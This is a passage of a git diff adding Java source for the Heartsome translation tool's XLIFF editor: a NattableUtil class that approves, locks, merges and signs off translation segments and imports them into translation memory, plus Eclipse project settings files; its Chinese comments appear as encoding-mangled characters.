editor.setCanonicalValue(newValue); + // return true; + // } else if (map != null) { + // editor.setCanonicalValue(map.get(rowId)); + // return true; + // } + // } + // } + // return false; + // } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/utils/NattableUtil.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/utils/NattableUtil.java new file mode 100644 index 0000000..b96f964 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/utils/NattableUtil.java @@ -0,0 +1,845 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.utils; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.Collections; +import java.util.Comparator; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.core.file.RowIdUtil; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.tb.importer.TbImporter; +import net.heartsome.cat.ts.tm.importer.TmImporter; +import net.heartsome.cat.ts.tm.importer.extension.ITmImporter; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.ts.ui.view.IMatchViewPart; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.UpdateDataBean; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.AddSegmentToTMPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.SignOffPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.propertyTester.UnTranslatedPropertyTester; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.qa.AutomaticQATrigger; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.MergeSegmentOperation; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.NeedsReviewOperation; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.SendTOTmOperation; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable.StateOperation; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.IOperationHistory; +import org.eclipse.core.commands.operations.OperationHistoryFactory; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.SubProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.part.FileEditorInput; +import org.eclipse.ui.services.IEvaluationService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 用于对 Nattable 中的文本段进行处ç†çš„工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class NattableUtil { + + public static final Logger LOGGER = LoggerFactory.getLogger(NattableUtil.class); + + private static NattableUtil instance; + + private XLIFFEditorImplWithNatTable xliffEditor; + + private TmImporter importer; + + // /** 首选项存å–器 */ + // private IPreferenceStore store = net.heartsome.cat.ts.ui.Activator + // .getDefault().getPreferenceStore(); + + public static synchronized NattableUtil getInstance(XLIFFEditorImplWithNatTable xliffEditor) { + if (instance == null) { + instance = new NattableUtil(xliffEditor); + } else { + if(xliffEditor != instance.xliffEditor){ + instance.importer.clearResources(); + } + instance.xliffEditor = xliffEditor; + } + return instance; + } + + private NattableUtil(XLIFFEditorImplWithNatTable xliffEditor) { + this.xliffEditor = xliffEditor; + this.importer = TmImporter.getInstance(); + } + + /** + * 批准或å–消批准文本段 + * @param selectedRowIds1 + * 选中行的rowIdé›†åˆ + * @param approve + * true:批准;false:å–消批准; + */ + public void approveTransUnits(boolean isJumpNext) { + List selectedRowIds = xliffEditor.getSelectedRowIds(); + if (selectedRowIds.size() == 0) { + return; + } + + final Map> tmpGroup = RowIdUtil.groupRowIdByFileName(selectedRowIds); + boolean hasEmpty = false; + XLFHandler handler = xliffEditor.getXLFHandler(); + for (Entry> entry : tmpGroup.entrySet()) { + // 目标文本为空ä¸èƒ½æ‰§è¡Œæ‰¹å‡†ï¼Œå°†è¦è·³è¿‡ + List rowIds = entry.getValue(); + int size = rowIds.size(); + handler.removeNullTgtContentRowId(rowIds); + if (rowIds.size() != size) { + hasEmpty = true; + } + handler.removeLockedRowIds(rowIds); + } + + // 入库å‰è¿›è¡Œå“质检查 --robert + int i = 0; + final AutomaticQATrigger auto = new AutomaticQATrigger(xliffEditor.getXLFHandler()); + for(Entry> entry : tmpGroup.entrySet()){ + List rowIdList = tmpGroup.get(entry.getKey()); + for(Iterator it = rowIdList.iterator(); it.hasNext();){ + String rowId = it.next(); + String result = auto.beginAutoQa(false, rowId, i == 0 ? true : false); + if (result == null) { + return; + } + if (result.length() > 1) { + boolean respons = MessageDialog.openConfirm(xliffEditor.getSite().getShell(), + Messages.getString("translation.ApproveSegmentHandler.msgTitle"), result); + // 若选择ok,则继续æ“作 + if (!respons) { + it.remove(); + selectedRowIds.remove(rowId); + } + } + i ++; + } + } + + String message = null; + if (hasEmpty) { + message = Messages.getString("utils.NattableUtil.msg1"); + } + if (message != null) { + if (!MessageDialog.openConfirm(xliffEditor.getTable().getShell(), + Messages.getString("utils.NattableUtil.msgTitle"), message)) { + return; + } + } + if (selectedRowIds.size() == 0) { + return; + } + HsMultiActiveCellEditor.commit(true); + // 将选中的文本段添加记忆库,在生æˆTMX的过程中会过滤掉标记ä¸æ·»åŠ åˆ°è®°å¿†åº“的文本段 + final IProject project = ((FileEditorInput) (xliffEditor.getEditorInput())).getFile().getProject(); + this.importer.setProject(project); + final int contextSize = importer.getContextSize(); + BusyIndicator.showWhile(xliffEditor.getSite().getShell().getDisplay(), new Runnable() { + public void run() { +// monitor.beginTask(Messages.getString("utils.NattableUtil.task1"), 8); + if (!CommonFunction.checkEdition("L")) { + if (!importer.checkImporter() && ProjectConfigerFactory.getProjectConfiger(project).getDefaultTMDb() != null) { + final boolean[] state = new boolean[]{true}; + Display.getDefault().syncExec(new Runnable() { + + public void run() { + state[0] = MessageDialog.openConfirm(Display.getDefault().getActiveShell(), + Messages.getString("utils.NattableUtil.msgTitle2"), Messages.getString("utils.NattableUtil.msg.cantConnDefaultDb")); + } + }); + if(!state[0]){ + return; + } + } + } + final List addToTmResultRowIds = new ArrayList(); + for (Entry> entry : tmpGroup.entrySet()) { + List rowIdList = tmpGroup.get(entry.getKey()); + if (importer.checkImporter()) { + String systemUser = Activator.getDefault().getPreferenceStore().getString(IPreferenceConstants.SYSTEM_USER); + StringBuffer fileContent = xliffEditor.getXLFHandler().generateTMXFileContent(systemUser, rowIdList, + xliffEditor.getSrcColumnName(), xliffEditor.getTgtColumnName(), + /*new SubProgressMonitor(monitor, 3)*/null, contextSize, project); +// if (monitor.isCanceled()) { +// return; +// } + if (fileContent != null) { + int state = -1; + try { + state = importer.executeImport(fileContent.toString(), xliffEditor.getSrcColumnName(), + /*monitor*/null); + } catch (ImportException e) { + final String msg = e.getMessage(); + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(Display.getDefault().getActiveShell(), + Messages.getString("utils.NattableUtil.msgTitle"), msg); + } + }); + return; + } + if (state == ITmImporter.IMPORT_STATE_FAILED) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(Display.getDefault().getActiveShell(), + Messages.getString("utils.NattableUtil.msgTitle"), + Messages.getString("utils.NattableUtil.msg2")); + } + }); + return; + } else if (state == ITmImporter.IMPORT_STATE_NODB) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("utils.NattableUtil.msgTitle"), + Messages.getString("utils.NattableUtil.msg3")); + } + }); + } + } + } + addToTmResultRowIds.addAll(rowIdList); + } + +// monitor.setTaskName(Messages.getString("utils.NattableUtil.task2")); + Display.getDefault().syncExec(new Runnable() { + public void run() { + // 修改文本段状æ€,ç›®å‰æ²¡æœ‰å–消批准的功能,所以直接传入true,å³æ‰€æœ‰çš„æ“作都是批准 + List rowIds = xliffEditor.getXLFHandler().approveTransUnits(addToTmResultRowIds, true); + if (rowIds.size() > 0) { + String message; + if (addToTmResultRowIds != null && addToTmResultRowIds.size() == 1) { + message = Messages.getString("utils.NattableUtil.msg4"); + } else { + message = MessageFormat.format(Messages.getString("utils.NattableUtil.msg5"), + rowIds.size()); + } + boolean res = MessageDialog.openQuestion(xliffEditor.getTable().getShell(), null, message); + if (res) { + xliffEditor.getXLFHandler().approveTransUnits(rowIds, true, false); + } + } + xliffEditor.updateStatusLine(); + xliffEditor.getTable().redraw(); + } + }); +// monitor.worked(2); +// if (monitor.isCanceled()) { +// return; +// } +// +// // 批准时需è¦è¿›è¡Œç¹æ®–翻译 +// // propagateTranslations(addToTmResultRowIds, new +// // SubProgressMonitor(monitor, 2)); +// monitor.done(); + } + }); + +// try { +// new ProgressMonitorDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow().getShell()).run(true, true, +// runnable); + if (isJumpNext) { + int[] selectedRows = xliffEditor.getSelectedRows(); + Arrays.sort(selectedRows); + xliffEditor.jumpToRow(selectedRows[selectedRows.length - 1] + 1); + } else { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView( + "net.heartsome.cat.ts.ui.translation.view.matchview"); + int[] selected =xliffEditor.getSelectedRows(); + if (viewPart != null && viewPart instanceof IMatchViewPart && selected.length != 0) { + ((IMatchViewPart) viewPart).reLoadMatches(xliffEditor, selected[selected.length - 1]); + } + HsMultiCellEditorControl.activeSourceAndTargetCell(xliffEditor); + } +// } catch (InvocationTargetException e) { +// e.printStackTrace(); +// } catch (InterruptedException e) { +// e.printStackTrace(); +// } + } + + /** + * é”定或å–消é”定文本段 + * @param selectedRowIds + * 选中行的rowIdé›†åˆ + * @param lock + * true:é”定;false:å–消é”定; + */ + public void lockTransUnits(List selectedRowIds, boolean lock) { + xliffEditor.getXLFHandler().lockTransUnits(selectedRowIds, lock); + xliffEditor.getTable().redraw(); + // IOperationHistory operationHistory = + // OperationHistoryFactory.getOperationHistory(); + // try { + // operationHistory + // .execute( + // new LockOperation("Lock", xliffEditor.getTable(), selectedRowIds, + // xliffEditor + // .getXLFHandler(), lock), null, null); + // } catch (ExecutionException e) { + // e.printStackTrace(); + // } + } + + /** + * 改å˜Target的状æ€,signed-off需è¦ä¿®æ”¹approved=yes,改为new或translated需è¦åˆ é™¤approved=yes属性 + * @param state + * 状æ€å€¼("new", "final", "translated", "signed-off", "needs-adaptation", "needs-review-adaptation", + * "needs-l10n", "needs-review-l10n", "needs-translation", "needs-review-translation"); + */ + public void changeTgtState(List selectedRowIds, String state) { + if (selectedRowIds != null && selectedRowIds.size() > 0) { + xliffEditor.getXLFHandler().changeTransUnitState(selectedRowIds, state); + xliffEditor.updateStatusLine(); + xliffEditor.getTable().redraw(); + NattableUtil.refreshCommand(AddSegmentToTMPropertyTester.PROPERTY_NAMESPACE, + AddSegmentToTMPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(SignOffPropertyTester.PROPERTY_NAMESPACE, + SignOffPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(UnTranslatedPropertyTester.PROPERTY_NAMESPACE, + UnTranslatedPropertyTester.PROPERTY_ENABLED); + } + } + + /** + * 添加或者å–消疑问 + * @param selectedRowIds + * @param state + * ; + */ + public void changIsQuestionState(List selectedRowIds, String state) { + IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); + try { + operationHistory.execute(new NeedsReviewOperation("need-review", xliffEditor.getTable(), selectedRowIds, + xliffEditor.getXLFHandler(), state), null, null); + } catch (ExecutionException e) { + LOGGER.error("", e); + MessageDialog.openError(xliffEditor.getSite().getShell(), + Messages.getString("utils.NattableUtil.msgTitle2"), e.getMessage()); + e.printStackTrace(); + } + } + + /** + * 设置是å¦æ·»åŠ åˆ°è®°å¿†åº“ + * @param selectedRowIds + * @param state + * "yes" or "no"; + */ + public void changeSendToTmState(List selectedRowIds, String state) { + IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); + try { + operationHistory.execute(new SendTOTmOperation("send-to-tm", xliffEditor.getTable(), selectedRowIds, + xliffEditor.getXLFHandler(), state), null, null); + } catch (ExecutionException e) { + LOGGER.error("", e); + MessageDialog.openError(xliffEditor.getSite().getShell(), + Messages.getString("utils.NattableUtil.msgTitle2"), e.getMessage()); + e.printStackTrace(); + } + } + + /** + * 改å˜Targetçš„çŠ¶æ€ + * @param state + * 状æ€å€¼("new", "final", "translated", "signed-off", "needs-adaptation", "needs-review-adaptation", + * "needs-l10n", "needs-review-l10n", "needs-translation", "needs-review-translation"); + */ + public void changeTgtState(final List selectedRowIds, final String state, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask(Messages.getString("utils.NattableUtil.task4"), 1); + monitor.worked(1); + final IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); + final IProgressMonitor monitor2 = monitor; + + Display.getDefault().syncExec(new Runnable() { + + public void run() { + try { + + operationHistory.execute(new StateOperation("State", xliffEditor.getTable(), selectedRowIds, + xliffEditor.getXLFHandler(), state), monitor2, null); + } catch (ExecutionException e) { + LOGGER.error("", e); + MessageDialog.openError(xliffEditor.getSite().getShell(), + Messages.getString("utils.NattableUtil.msgTitle2"), e.getMessage()); + e.printStackTrace(); + } + } + }); + + monitor.done(); + } + + /** + * 添加选中文本段到记忆库 + * @param modelBean + * æ•°æ®åº“å…ƒæ•°æ® + * @return boolean true : 完æˆå…¥åº“ false ä¸å®Œæˆå…¥åº“ + */ + public boolean addSelectSegmentToTM() { + List selectedRowIds = xliffEditor.getSelectedRowIds(); + if (selectedRowIds.size() == 0) { + return false; + } + + final Map> tmpGroup = RowIdUtil.groupRowIdByFileName(selectedRowIds); + boolean hasEmpty = false; + XLFHandler handler = xliffEditor.getXLFHandler(); + for (Entry> entry : tmpGroup.entrySet()) { + // 目标文本为空ä¸æ·»åŠ åˆ°è®°å¿†åº“ + List rowIds = entry.getValue(); + int size = rowIds.size(); + handler.removeNullTgtContentRowId(rowIds); + if (rowIds.size() != size) { + hasEmpty = true; + } + handler.removeLockedRowIds(rowIds); + } + + // 入库å‰è¿›è¡Œå“质检查 --robert + final AutomaticQATrigger auto = new AutomaticQATrigger(xliffEditor.getXLFHandler()); + int i = 0; + for (Entry> entry : tmpGroup.entrySet()) { + List rowIdList = tmpGroup.get(entry.getKey()); + for (Iterator it = rowIdList.iterator(); it.hasNext();) { + String rowId = it.next(); + String result = auto.beginAutoQa(true, rowId, i == 0 ? true : false); + if (result == null) { + return false; + } + if (result.length() > 1) { + boolean respons = MessageDialog.openConfirm(xliffEditor.getTable().getShell(), + Messages.getString("utils.NattableUtil.msgTitle3"), result); + // 若选择ok,则继续æ“作 + if (!respons) { + it.remove(); + selectedRowIds.remove(rowId); + } + } + i ++; + } + } + + if (selectedRowIds.size() <= 0) { + return false; + } + + String message = null; + if (hasEmpty) { + message = Messages.getString("utils.NattableUtil.msg1"); + } + if (message != null) { + if (!MessageDialog.openConfirm(xliffEditor.getTable().getShell(), + Messages.getString("utils.NattableUtil.msgTitle"), message)) { + return false; + } + } + + final ArrayList lstRowId = new ArrayList(); + + final IProject project = ((FileEditorInput) (xliffEditor.getEditorInput())).getFile().getProject(); + this.importer.setProject(project); + final int contextSize = importer.getContextSize(); + +// IRunnableWithProgress runnable = new IRunnableWithProgress() { +// public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + BusyIndicator.showWhile(xliffEditor.getSite().getShell().getDisplay(), new Runnable() { + public void run() { +// monitor.setTaskName(Messages.getString("utils.NattableUtil.task5")); +// monitor.beginTask(Messages.getString("utils.NattableUtil.task5"), 2); + if (!CommonFunction.checkEdition("L")) { + if (!importer.checkImporter() && ProjectConfigerFactory.getProjectConfiger(project).getDefaultTMDb() != null) { + final boolean[] state = new boolean[]{true}; + Display.getDefault().syncExec(new Runnable() { + + public void run() { + state[0] = MessageDialog.openConfirm(Display.getDefault().getActiveShell(), + Messages.getString("utils.NattableUtil.msgTitle2"), Messages.getString("utils.NattableUtil.msg.cantConnDefaultDb")); + } + }); + if(!state[0]){ + return; + } + } + } + for (Entry> entry : tmpGroup.entrySet()) { + List rowIdList = tmpGroup.get(entry.getKey()); + if (importer.checkImporter()) { + String systemUser = Activator.getDefault().getPreferenceStore().getString(IPreferenceConstants.SYSTEM_USER); + StringBuffer fileContent = xliffEditor.getXLFHandler().generateTMXFileContent(systemUser, rowIdList, + xliffEditor.getSrcColumnName(), xliffEditor.getTgtColumnName(), + /*new SubProgressMonitor(monitor, 1)*/null, contextSize, project); +// if (monitor.isCanceled()) { +// monitor.setTaskName(Messages.getString("utils.NattableUtil.task6")); +// throw new OperationCanceledException(); +// } + if (fileContent != null) { + int state = -1; + try { + state = importer.executeImport(fileContent.toString(), xliffEditor.getSrcColumnName(), + /*monitor*/null); + } catch (ImportException e) { + final String msg = e.getMessage(); + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(Display.getDefault().getActiveShell(), + Messages.getString("utils.NattableUtil.msgTitle"), msg); + } + }); + return; + } + if (state == ITmImporter.IMPORT_STATE_FAILED) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(xliffEditor.getTable().getShell(), + Messages.getString("utils.NattableUtil.msgTitle"), + Messages.getString("utils.NattableUtil.msg6")); + } + }); + return; + } else if (state == ITmImporter.IMPORT_STATE_NODB) { + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(xliffEditor.getTable().getShell(), + Messages.getString("utils.NattableUtil.msgTitle"), + Messages.getString("utils.NattableUtil.msg7")); + } + }); + } + } + } + // Bug #2306:文本段添加ä¸å…¥åº“标记åŽä¸èƒ½æ”¹å˜ä¸ºå®Œæˆç¿»è¯‘çŠ¶æ€ + lstRowId.addAll(rowIdList); + } + Display.getDefault().asyncExec(new Runnable() { + public void run() { + changeTgtState(lstRowId, "translated"); +// xliffEditor.updateStatusLine(); + } + }); +// monitor.done(); + } + }); + +// try { +// new ProgressMonitorDialog(xliffEditor.getTable().getShell()).run(true, true, runnable); +// } catch (InvocationTargetException e) { +// e.printStackTrace(); +// } catch (InterruptedException e) { +// e.printStackTrace(); +// } + return true; + } + + // /** + // * 获得记忆库更新策略 + // * @return ; + // */ + // public int getTmxImportStrategy() { + // IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + // return ps.getInt(PreferenceConstants.TM_UPDATE); + // } + + /** + * ç¹æ®–翻译 robert + * @param rowIdsMap + * @param monitor + * @return + */ + public IStatus propagateTranslations(Map> rowIdsMap, IProgressMonitor monitor) { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 9, + SubProgressMonitor.PREPEND_MAIN_LABEL_TO_SUBTASK); + subMonitor.beginTask(Messages.getString("utils.NattableUtil.task7"), rowIdsMap.keySet().size()); + + Iterator>> it = rowIdsMap.entrySet().iterator(); + final XLFHandler handler = xliffEditor.getXLFHandler(); + + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LOGGER.error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + + while (it.hasNext()) { + Entry> entry = it.next(); + // 这是æºæ–‡æœ¬ï¼Œä¹Ÿå°±æ˜¯ç¹æ®–翻译中的父 + String rootRowId = entry.getKey(); + // 这是è¦è¢«ç¹æ®–的所有rowIds,其æºæ–‡ä¸ŽrootRowIdçš„æºæ–‡ä¸€è‡´ + final List rowIds = entry.getValue(); +// TransUnitBean tu = handler.getTransUnit(rootRowId); +// String tgtContent = tu.getTgtContent(); + final String rootTgtPureText = handler.getTUPureTextByRowId(rootRowId, false); + + for (String rowId : rowIds) { + handler.changeTgtTextValue(rowId, rootTgtPureText, null, null); + } + + // 下é¢è¿™æ˜¯å¤„ç†å¤„于获得焦点状æ€çš„文本段。无法ç¹æ®–翻译的情况 + Display.getDefault().syncExec(new Runnable() { + public void run() { + int focusRowIndex = HsMultiActiveCellEditor.sourceRowIndex; + if (focusRowIndex == -1) { + return; + } + if (!XLIFFEditorImplWithNatTable.getCurrent().isHorizontalLayout()) { + focusRowIndex = VerticalNatTableConfig.getRealRowIndex(focusRowIndex); + } + String focusRowId = handler.getRowId(focusRowIndex); + if (rowIds.contains(focusRowId)) { + HsMultiActiveCellEditor.getTargetStyledEditor().setCanonicalValue(new UpdateDataBean(rootTgtPureText, null, null)); + } + } + }); + + if (subMonitor.isCanceled()) { + return Status.OK_STATUS; + } + subMonitor.worked(1); + } + subMonitor.done(); + return Status.OK_STATUS; + } + + /** + * 刷新 Command çš„å¯ç”¨çŠ¶æ€ + * @param nameSpace + * @param properties + * ; + */ + public static void refreshCommand(String nameSpace, String properties) { + if (nameSpace != null && properties != null) { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + IEvaluationService evaluationService = (IEvaluationService) window.getService(IEvaluationService.class); + if (evaluationService != null) { + evaluationService.requestEvaluation(nameSpace + "." + properties); + } + } + } + + /** + * åˆå¹¶æ–‡æœ¬æ®µ ; + */ + public void mergeSegment() { + XLFHandler handler = xliffEditor.getXLFHandler(); + List lstRowId = xliffEditor.getSelectedRowIds(); + List lstAllRowId = xliffEditor.getXLFHandler().getAllRowIds(); + Shell shell = xliffEditor.getSite().getShell(); + if (lstRowId.size() < 2) { + MessageDialog.openInformation(shell, Messages.getString("utils.NattableUtil.mergeSegment.msgTitle"), + Messages.getString("utils.NattableUtil.mergeSegment.msg1")); + return; + } + Collections.sort(lstRowId, new SortRowIdComparator()); + Collections.sort(lstAllRowId, new SortRowIdComparator()); + String rowId1 = lstRowId.get(0); + String fileName = RowIdUtil.getFileNameByRowId(rowId1); + if (fileName == null) { + return; + } + if (handler.isLocked(rowId1)) { + MessageDialog.openInformation(shell, Messages.getString("utils.NattableUtil.mergeSegment.msgTitle"), + Messages.getString("utils.NattableUtil.mergeSegment.msg3")); + return; + } + for (int i = 1; i < lstRowId.size(); i++) { + String rowId = lstRowId.get(i); + if (handler.isLocked(rowId)) { + MessageDialog.openInformation(shell, Messages.getString("utils.NattableUtil.mergeSegment.msgTitle"), + Messages.getString("utils.NattableUtil.mergeSegment.msg3")); + return; + } + String fileName2 = RowIdUtil.getFileNameByRowId(rowId); + // 数组集åˆå¿…须在一个文件中æ‰èƒ½åˆå¹¶ + if (fileName2 == null || !fileName.equals(fileName2)) { + MessageDialog.openInformation(shell, Messages.getString("utils.NattableUtil.mergeSegment.msgTitle"), + Messages.getString("utils.NattableUtil.mergeSegment.msg4")); + return; + } + // 判断所选文本段是å¦è¿žç»­ + String strCurTuId = RowIdUtil.getTUIdByRowId(rowId); + String strPreTuId = RowIdUtil.getTUIdByRowId(lstRowId.get(i - 1)); + if (strCurTuId == null || strPreTuId == null) { + return; + } + + if ((lstAllRowId.indexOf(rowId) - lstAllRowId.indexOf(lstRowId.get(i - 1))) != 1) { + MessageDialog.openInformation(shell, Messages.getString("utils.NattableUtil.mergeSegment.msgTitle"), + Messages.getString("utils.NattableUtil.mergeSegment.msg5")); + return; + } else { + String curOriginal = RowIdUtil.getOriginalByRowId(rowId); + String preOriginal = RowIdUtil.getOriginalByRowId(lstRowId.get(i - 1)); + if (!curOriginal.equals(preOriginal)) { + MessageDialog.openInformation(shell, + Messages.getString("utils.NattableUtil.mergeSegment.msgTitle"), + Messages.getString("utils.NattableUtil.mergeSegment.msg5")); + return; + } + } + } + + // Bug #2373:选择全部文本段åˆå¹¶åŽï¼Œæ— æ˜¾ç¤ºå†…容 + if (lstRowId.size() == xliffEditor.getXLFHandler().getRowIds().size()) { + xliffEditor.jumpToRow(0); + } + + MergeSegmentOperation mergeOper = new MergeSegmentOperation("merge segment", xliffEditor, handler, lstRowId); + IOperationHistory operationHistory = OperationHistoryFactory.getOperationHistory(); + try { + operationHistory.execute(mergeOper, null, null); + } catch (Exception e) { + LOGGER.error("", e); + } + + } + + /** + * 对 RowId 进行排åºçš„ç±» + * @author peason + * @version + * @since JDK1.6 + */ + private class SortRowIdComparator implements Comparator { + public int compare(String arg0, String arg1) { + String pre0 = arg0.substring(0, arg0.lastIndexOf(RowIdUtil.SPLIT_MARK)); + String pre1 = arg1.substring(0, arg1.lastIndexOf(RowIdUtil.SPLIT_MARK)); + if (pre0.equals(pre1)) { + String tuId0 = RowIdUtil.getTUIdByRowId(arg0); + String tuId1 = RowIdUtil.getTUIdByRowId(arg1); + if (tuId0 != null && tuId1 != null) { + String[] arr0 = tuId0.split("-"); + String[] arr1 = tuId1.split("-"); + for (int i = 0; i < Math.min(arr0.length, arr1.length); i++) { + int value0 = Integer.parseInt(arr0[i]); + int value1 = Integer.parseInt(arr1[i]); + if (value0 == value1) { + continue; + } else if (value0 > value1) { + return 1; + } else { + return -1; + } + } + return 0; + } else if (tuId0 == null && tuId1 == null) { + return 0; + } else if (tuId0 != null) { + return 1; + } else { + return -1; + } + } else { + return pre0.compareTo(pre1); + } + } + + } + + /** + * 对选中文本段执行签å‘æ“作 ; + */ + public void changeToSignedOffState() { + List selectedRowIds = getRowIdsNoEmptyTranslate(true); + for (int i = 0; i < selectedRowIds.size(); i++) { + String rowId = selectedRowIds.get(i); + String tgtContent = xliffEditor.getXLFHandler().getTgtContent(rowId); + boolean isDraft = xliffEditor.getXLFHandler().isDraft(rowId); + if (tgtContent == null || tgtContent.trim().equals("") || isDraft) { + selectedRowIds.remove(i); + i--; + } + } + if (selectedRowIds.size() > 0) { + changeTgtState(selectedRowIds, "signed-off"); + } + } + + /** + * 对选中的文本段进行过滤 + * @param isSignedOff + * @return ; + */ + public List getRowIdsNoEmptyTranslate(boolean isSignedOff) { + List selRowIds = xliffEditor.getSelectedRowIds(); + int oldSize = selRowIds.size(); + XLFHandler handler = xliffEditor.getXLFHandler(); + handler.removeNullTgtContentRowId(selRowIds); + boolean hasEmpty = false; + boolean hasDraft = false; + if (oldSize != selRowIds.size()) { + hasEmpty = true; + } + if (isSignedOff) { // 判断执行签å‘时是å¦æœ‰è‰ç¨¿çŠ¶æ€çš„文本段 + for (int i = 0; i < selRowIds.size(); i++) { + String rowId = selRowIds.get(i); + if (handler.isDraft(rowId)) { + selRowIds.remove(i); + i--; + hasDraft = true; + } + } + } + String message = null; + if (hasEmpty && hasDraft) { + message = Messages.getString("utils.NattableUtil.msg8"); + } else if (hasDraft) { + message = Messages.getString("utils.NattableUtil.msg9"); + } else if (hasEmpty) { + message = Messages.getString("utils.NattableUtil.msg1"); + } + if (message != null) { + if (!MessageDialog.openConfirm(xliffEditor.getTable().getShell(), + Messages.getString("utils.NattableUtil.msgTitle"), message)) { + selRowIds.clear(); + } + } + return selRowIds; + } + + public void releaseResource(){ + importer.setProject(null); + TbImporter.getInstance().setProject(null); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/.classpath b/ts/net.heartsome.cat.ts.ui/.classpath new file mode 100644 index 0000000..acef9d3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/.classpath @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui/.gitignore b/ts/net.heartsome.cat.ts.ui/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/ts/net.heartsome.cat.ts.ui/.project b/ts/net.heartsome.cat.ts.ui/.project new file mode 100644 index 0000000..b97012a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..8a55a8c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 17:59:13 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff 